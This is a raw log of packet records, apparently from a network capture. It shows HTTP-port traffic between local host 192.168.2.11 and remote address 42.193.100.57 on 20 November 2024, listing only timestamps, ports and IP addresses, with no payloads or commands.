Nov 20, 2024 09:14:49.481308937 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.481344938 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.562175035 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562212944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562226057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562237024 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562248945 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562259912 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562273026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562304974 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.562382936 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562395096 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562393904 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.562406063 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562422991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562433958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562434912 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.562444925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562458038 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562463999 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.562468052 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562482119 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562503099 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.562503099 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.562536955 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.562551022 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562602997 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.562705040 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562721968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562732935 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562742949 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.562743902 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562752962 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.562757015 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562767982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562774897 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.562779903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562798977 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.562803984 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562819004 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.562829018 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562835932 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.562840939 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562854052 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562864065 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562865973 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.562875986 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562880993 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.562890053 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562901020 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562901020 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.562915087 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.562928915 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.562938929 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.562967062 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563074112 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563086033 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563112020 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563112020 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563122034 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563126087 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563138008 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563148975 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563150883 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563160896 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563164949 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563174009 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563184977 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563209057 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563282013 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563293934 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563318968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563329935 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563332081 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563343048 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563345909 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563359022 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563370943 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563381910 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563383102 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563393116 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563405037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563412905 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563415051 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563425064 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563427925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563440084 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563451052 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563456059 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563474894 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563483953 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563720942 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563731909 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563744068 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563754082 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563760042 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563776016 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563786030 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563797951 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563802004 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563808918 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563819885 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563822985 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563832045 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563843012 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563843012 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563853979 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563854933 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563868046 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563877106 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563884020 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563904047 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563904047 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563915968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563918114 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563930035 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563941002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563946009 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563951969 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563958883 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563971043 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563982010 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.563985109 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.563994884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564006090 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564012051 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.564035892 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.564045906 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.564147949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564171076 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564182043 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564191103 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.564193964 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564207077 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.564207077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564215899 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.564239025 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.564254045 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.564328909 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564340115 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564349890 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564362049 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564368010 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.564373970 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564378023 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.564385891 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564398050 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564410925 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.564420938 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.564444065 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564450979 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.564456940 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564481974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564482927 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.564492941 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.564495087 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564507961 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564517975 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.564518929 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564528942 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.564534903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564543962 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.564563990 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564564943 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.564604044 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.564838886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564850092 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564857006 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564867020 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564884901 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.564898014 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564908981 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564913034 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.564920902 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564933062 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564934969 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.564944983 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564955950 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564956903 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.564970016 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564980030 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.564982891 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.565002918 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.565011978 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.565023899 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.565051079 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.648339033 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648374081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648386002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648396969 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648410082 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648420095 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648433924 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648473978 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648500919 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648559093 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648571014 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648576975 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.648581982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648576975 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.648576975 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.648576975 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.648596048 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648612022 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648629904 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.648629904 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.648629904 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.648646116 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.648706913 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648720026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648730993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648741961 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648749113 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.648753881 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648766041 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648778915 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.648794889 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.648809910 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.648832083 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648844004 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648854017 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648864985 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648871899 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.648876905 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648895979 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.648926973 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.648948908 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648962021 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648972988 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648983955 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.648987055 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.648996115 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.649013996 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.649038076 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.649066925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.649095058 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.649104118 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.649105072 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.649118900 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.649127960 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.649131060 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.649142981 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.649142981 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.649154902 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.649178982 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.649238110 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.649250031 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.649260998 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.649271965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.649279118 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.649290085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.649301052 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.649305105 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.649327993 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.649342060 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.649777889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.649790049 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.649801970 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.649812937 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.649821997 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.649825096 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.649837017 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.649862051 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:50.059997082 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:50.060012102 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:50.060024023 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:50.060034990 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:50.060046911 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:50.060079098 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:50.060146093 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.137522936 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.137592077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.137603045 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.137655020 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.137665987 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.137676954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.137687922 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.137691975 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.137742043 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.137784004 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.137892008 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.137938976 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.138200045 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.138237000 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.138248920 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.139539957 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.139756918 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.358344078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.358355999 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.358367920 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.358408928 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.358454943 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.358495951 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.358509064 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.358544111 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.358658075 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.358676910 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.358689070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.358699083 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.358709097 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.358720064 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.358724117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.358740091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.358752012 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.358752012 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.358778954 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.358827114 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.358839989 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.358850002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.358861923 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.358869076 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.358874083 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.358886003 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.358894110 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.358897924 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.358921051 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.358933926 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.358953953 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.358990908 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.359164000 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359178066 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359189034 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359200001 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359209061 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.359211922 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359224081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359230042 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.359236002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359247923 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359256983 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.359268904 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.359292030 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.359303951 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359327078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359338045 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359338045 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.359350920 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359375954 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.359396935 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.359498024 CET	80	49701	42.193.100.57	192.168.2.11
